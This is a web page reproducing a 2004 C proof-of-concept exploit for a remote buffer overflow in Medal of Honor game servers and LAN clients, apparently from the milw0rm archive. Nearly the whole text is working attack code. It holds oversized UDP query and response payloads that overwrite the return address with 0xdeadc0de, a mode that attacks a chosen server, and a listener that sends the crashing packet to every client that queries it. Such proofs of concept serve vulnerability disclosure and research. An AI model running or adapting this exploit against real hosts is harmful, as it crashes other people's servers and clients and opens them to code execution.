Documents
Resources
Learning Center
Upload
Plans & pricing Sign in
Sign Out

Medal of Honor Remote Buffer Overflow Vulnerability

VIEWS: 50 PAGES: 8

									                             Medal of Honor Remote Buffer Overflow Vulnerability                      Page 1/8
  1    /*
  2
  3    by Luigi Auriemma
  4
  5    */
  6
  7    #include <stdio.h>
  8    #include <stdlib.h>
  9    #include <string.h>
  10
  11   #ifdef WIN32
  12       #include   <winsock.h>
  13       #include   <io.h>
  14       #include   <malloc.h>
  15       #include   "winerr.h"
  16
  17       #define close   closesocket
  18   #else
  19       #include <unistd.h>
  20       #include <sys/socket.h>
  21       #include <sys/types.h>
  22       #include <arpa/inet.h>
  23       #include <netdb.h>
  24   #endif
  25
  26
  27
  28   #define   VER         "0.1"
  29   #define   BUFFSZ      4096
  30   #define   PORT        12203
  31   #define   TIMEOUT     3
  32   #define   INFO        "\xff\xff\xff\xff\x02" "getinfo xxx\n"
  33   #define   BOFWIN      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  34                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  35                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  36                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  37                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  38                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  39                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  40                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  41                         "aaaa" "\xde\xc0\xad\xde" // EIP deadc0de
  42   #define BOFLINUX      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  43                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  44                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  45                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  46                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  47                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  48                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  49                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  50                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  51                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  52                         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
Luigi Auriemma                                                                                        07/20/2004
                                Medal of Honor Remote Buffer Overflow Vulnerability                      Page 2/8
  53                            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  54                            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  55                            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  56                            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  57                            "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   \
  58                            "aaaa" "\xde\xc0\xad\xde" // EIP deadc0de
  59    #define SVBOF           "\xff\xff\xff\xff\x02" "getinfo %s\n"
  60    #define CLBOF           "\xff\xff\xff\xff" \
  61                            "\x01" \
  62                            "infoResponse\n" \
  63                            "\\pure\\0" \
  64                            "\\gametypestring\\Free−For−All" \
  65                            "\\gametype\\1" \
  66                            "\\sv_maxclients\\16" \
  67                            "\\clients\\0" \
  68                            "\\mapname\\DM/mohdm1" \
  69                            "\\hostname\\myserver" \
  70                            "\\protocol\\8" \
  71                            "\\crash\\" BOFWIN \
  72                            "\\challenge\\xxx"
  73
  74
  75
  76
  77    void showinfostring(u_char *buff, int size);
  78    int timeout(int sock);
  79    u_long resolv(char *host);
  80    void std_err(void);
  81
  82
  83
  84    int main(int argc, char *argv[]) {
  85        int         sd,
  86                    len,
  87                    psz,
  88                    on = 1,
  89                    type;
  90        u_short     port = PORT;
  91        u_char      buff[BUFFSZ + 1];
  92        struct sockaddr_in peer;
  93
  94
  95       setbuf(stdout, NULL);
  96
  97       fputs("\n"
  98           "Medal of Honor buffer−overflow "VER"\n"
  99           " Vulnerables: AA <= 1.11v9, SH <= 2.15, BT <= 2.40b\n"
  100          "by Luigi Auriemma\n"
  101          "e−mail: aluigi@altervista.org\n"
  102          "web: http://aluigi.altervista.org\n"
  103          "\n", stdout);
  104

Luigi Auriemma                                                                                           07/20/2004
                                   Medal of Honor Remote Buffer Overflow Vulnerability                 Page 3/8
  105       if(argc < 2) {
  106           printf("\nUsage: %s <attack> [port(%d)]\n"
  107               "\n"
  108               "Attack:\n"
  109               " c = LAN clients buffer−overflow. It cannot work online because online is\n"
  110               " used the Gamespy protocol that is not affected by this bug\n"
  111               " s = server buffer−overflow: you can test this PoC versus a specific server.\n"
  112               " You must add the IP or the hostname of the server after the ’s’.\n"
  113               " The PoC first tests the overflow for Win32 servers and then for Linux\n"
  114               " that requires more data for overwriting the return address\n"
  115               "\n"
  116               "Some usage examples:\n"
  117               " mohaabof c                listens on port %d for clients\n"
  118               " mohaabof c 1234              listens on port 1234\n"
  119               " mohaabof s 192.168.0.1          tests the server 192.168.0.1 on port %d\n"
  120               " mohaabof s 192.168.0.1 1234 tests the server 192.168.0.1 on port 1234\n"
  121               "\n"
  122               "The return address of the vulnerable hosts will be ever overwritten by the\n"
  123               "offset 0xdeadc0de\n"
  124               "\n", argv[0], PORT, PORT, PORT);
  125           exit(1);
  126       }
  127
  128   #ifdef WIN32
  129       WSADATA    wsadata;
  130       WSAStartup(MAKEWORD(1,0), &wsadata);
  131   #endif
  132
  133      type = argv[1][0];
  134      if((type != ’c’) && (type != ’s’)) {
  135          fputs("\n"
  136               "Error: Wrong type of attack.\n"
  137               "    You can choose between 2 types of attacks, versus clients with ’c’ or\n"
  138               "    versus servers with ’s’\n"
  139               "\n", stdout);
  140          exit(1);
  141      }
  142      if(type == ’s’) {
  143          if(!argv[2]) {
  144               fputs("\n"
  145                    "Error: you must specify the server IP or hostname.\n"
  146                    "     Example: mohaabof s localhost\n"
  147                    "\n", stdout);
  148              exit(1);
  149          }
  150          peer.sin_addr.s_addr = resolv(argv[2]);
  151          if(argc > 3) port = atoi(argv[3]);
  152          printf("\n− Target %s:%hu\n\n",
  153               inet_ntoa(peer.sin_addr),
  154               port);
  155      } else {
  156          peer.sin_addr.s_addr = INADDR_ANY;
Luigi Auriemma                                                                                         07/20/2004
                             Medal of Honor Remote Buffer Overflow Vulnerability                             Page 4/8
  157        if(argc > 2) port = atoi(argv[2]);
  158        printf("\n− Listening on port %d\n", port);
  159    }
  160
  161    peer.sin_port   = htons(port);
  162    peer.sin_family = AF_INET;
  163    psz             = sizeof(peer);
  164
  165    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  166    if(sd < 0) std_err();
  167
  168    if(type == ’s’) {
  169        fputs("− Request informations\n", stdout);
  170        if(sendto(sd, INFO, sizeof(INFO) − 1, 0, (struct sockaddr *)&peer, psz)
  171          < 0) std_err();
  172        if(timeout(sd) < 0) {
  173            fputs("\nError: socket timeout, probably the server is not online\n\n", stdout);
  174            exit(1);
  175        }
  176        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
  177        if(len < 0) std_err();
  178        buff[len] = 0x00;
  179
  180        showinfostring(buff, len);
  181
  182        printf("− Send BOOM packet for the Windows version (data: %d, EIP: 0xdeadc0de)\n",
  183            sizeof(BOFWIN) − 1);
  184        len = sprintf(buff, SVBOF, BOFWIN);
  185        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
  186          < 0) std_err();
  187
  188        if(timeout(sd) < 0) {
  189            fputs("\nServer IS vulnerable!!!\n\n", stdout);
  190        } else {
  191            if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
  192              < 0) std_err();
  193            fputs("− Server doesn’t seem to be vulnerable, It is probably a Linux server\n", stdout);
  194            printf("− Send BOOM packet for the Linux version (data: %d, EIP: 0xdeadc0de)\n",
  195                sizeof(BOFLINUX) − 1);
  196            len = sprintf(buff, SVBOF, BOFLINUX);
  197            if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, psz)
  198              < 0) std_err();
  199            if(timeout(sd) < 0) {
  200                fputs("\nServer IS vulnerable!!!\n\n", stdout);
  201            } else {
  202                len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
  203                if(len < 0) std_err();
  204                buff[len] = 0x00;
  205                printf("\n"
  206                     "Server doesn’t seem to be vulnerable, the following is the answer received:\n"
  207                     "\n%s\n\n", buff);
  208            }
Luigi Auriemma                                                                                               07/20/2004
                             Medal of Honor Remote Buffer Overflow Vulnerability                Page 5/8
  209           }
  210       } else {
  211           if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
  212             < 0) std_err();
  213           if(bind(sd, (struct sockaddr *)&peer, psz)
  214             < 0) std_err();
  215           fputs("Clients (EIP will be overwritten by 0xdeadc0de):\n", stdout);
  216           while(1) {
  217               len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  218               if(len < 0) std_err();
  219               buff[len] = 0x00;
  220
  221               printf("%16s:%hu −> %s\n",
  222                   inet_ntoa(peer.sin_addr),
  223                   ntohs(peer.sin_port),
  224                   buff);
  225
  226               if(sendto(sd, CLBOF, sizeof(CLBOF) − 1, 0, (struct sockaddr *)&peer, psz)
  227                 < 0) std_err();
  228           }
  229       }
  230
  231       close(sd);
  232       return(0);
  233   }
  234
  235
  236
  237
  238
  239   void showinfostring(u_char *buff, int size) {
  240       int     nt = 1,
  241               len;
  242       u_char *string;
  243
  244       len = strlen(buff);
  245       if(len < size) buff += len + 1;
  246
  247       while(1) {
  248           string = strchr(buff, ’\\’);
  249           if(!string) break;
  250
  251           *string = 0x00;
  252
  253           /* \n or \t */
  254           if(!nt) {
  255               printf("%30s: ", buff);
  256               nt++;
  257           } else {
  258               printf("%s\n", buff);
  259               nt = 0;
  260           }
Luigi Auriemma                                                                                  07/20/2004
                                Medal of Honor Remote Buffer Overflow Vulnerability               Page 6/8
  261           buff = string + 1;
  262       }
  263
  264       printf("%s\n\n", buff);
  265   }
  266
  267
  268
  269
  270   int timeout(int sock) {
  271       struct timeval tout;
  272       fd_set fd_read;
  273       int     err;
  274
  275       tout.tv_sec = TIMEOUT;
  276       tout.tv_usec = 0;
  277       FD_ZERO(&fd_read);
  278       FD_SET(sock, &fd_read);
  279       err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  280       if(err < 0) std_err();
  281       if(!err) return(−1);
  282       return(0);
  283   }
  284
  285
  286
  287
  288   u_long resolv(char *host) {
  289       struct hostent *hp;
  290       u_long host_ip;
  291
  292       host_ip = inet_addr(host);
  293       if(host_ip == INADDR_NONE) {
  294           hp = gethostbyname(host);
  295           if(!hp) {
  296               printf("\nError: Unable to resolv hostname (%s)\n", host);
  297               exit(1);
  298           } else host_ip = *(u_long *)(hp−>h_addr);
  299       }
  300       return(host_ip);
  301   }
  302
  303
  304
  305   #ifndef WIN32
  306       void std_err(void) {
  307           perror("\nError");
  308           exit(1);
  309       }
  310   #endif
  311
  312   ///////////////////////////////////////////////////////////////////////////////////////
Luigi Auriemma                                                                                    07/20/2004
                               Medal of Honor Remote Buffer Overflow Vulnerability             Page 7/8
  313
  314   //winerr.h
  315   /*
  316      Header file used for manage errors in Windows
  317      It support socket and errno too
  318      (this header replace the previous sock_errX.h)
  319   */
  320
  321   #include <string.h>
  322   #include <errno.h>
  323
  324
  325
  326   void std_err(void) {
  327       char    *error;
  328
  329      switch(WSAGetLastError()) {
  330          case 10004: error = "Interrupted system call"; break;
  331          case 10009: error = "Bad file number"; break;
  332          case 10013: error = "Permission denied"; break;
  333          case 10014: error = "Bad address"; break;
  334          case 10022: error = "Invalid argument (not bind)"; break;
  335          case 10024: error = "Too many open files"; break;
  336          case 10035: error = "Operation would block"; break;
  337          case 10036: error = "Operation now in progress"; break;
  338          case 10037: error = "Operation already in progress"; break;
  339          case 10038: error = "Socket operation on non−socket"; break;
  340          case 10039: error = "Destination address required"; break;
  341          case 10040: error = "Message too long"; break;
  342          case 10041: error = "Protocol wrong type for socket"; break;
  343          case 10042: error = "Bad protocol option"; break;
  344          case 10043: error = "Protocol not supported"; break;
  345          case 10044: error = "Socket type not supported"; break;
  346          case 10045: error = "Operation not supported on socket"; break;
  347          case 10046: error = "Protocol family not supported"; break;
  348          case 10047: error = "Address family not supported by protocol family"; break;
  349          case 10048: error = "Address already in use"; break;
  350          case 10049: error = "Can’t assign requested address"; break;
  351          case 10050: error = "Network is down"; break;
  352          case 10051: error = "Network is unreachable"; break;
  353          case 10052: error = "Net dropped connection or reset"; break;
  354          case 10053: error = "Software caused connection abort"; break;
  355          case 10054: error = "Connection reset by peer"; break;
  356          case 10055: error = "No buffer space available"; break;
  357          case 10056: error = "Socket is already connected"; break;
  358          case 10057: error = "Socket is not connected"; break;
  359          case 10058: error = "Can’t send after socket shutdown"; break;
  360          case 10059: error = "Too many references, can’t splice"; break;
  361          case 10060: error = "Connection timed out"; break;
  362          case 10061: error = "Connection refused"; break;
  363          case 10062: error = "Too many levels of symbolic links"; break;
  364          case 10063: error = "File name too long"; break;
Luigi Auriemma                                                                                 07/20/2004
                              Medal of Honor Remote Buffer Overflow Vulnerability                Page 8/8
  365           case 10064: error = "Host is down"; break;
  366           case 10065: error = "No Route to Host"; break;
  367           case 10066: error = "Directory not empty"; break;
  368           case 10067: error = "Too many processes"; break;
  369           case 10068: error = "Too many users"; break;
  370           case 10069: error = "Disc Quota Exceeded"; break;
  371           case 10070: error = "Stale NFS file handle"; break;
  372           case 10091: error = "Network SubSystem is unavailable"; break;
  373           case 10092: error = "WINSOCK DLL Version out of range"; break;
  374           case 10093: error = "Successful WSASTARTUP not yet performed"; break;
  375           case 10071: error = "Too many levels of remote in path"; break;
  376           case 11001: error = "Host not found"; break;
  377           case 11002: error = "Non−Authoritative Host not found"; break;
  378           case 11003: error = "Non−Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
  379           case 11004: error = "Valid name, no data record of requested type"; break;
  380           default: error = strerror(errno); break;
  381       }
  382       fprintf(stderr, "\nError: %s\n", error);
  383       exit(1);
  384   }
  385
  386   // milw0rm.com [2004−07−20]




Luigi Auriemma                                                                                   07/20/2004

								
To top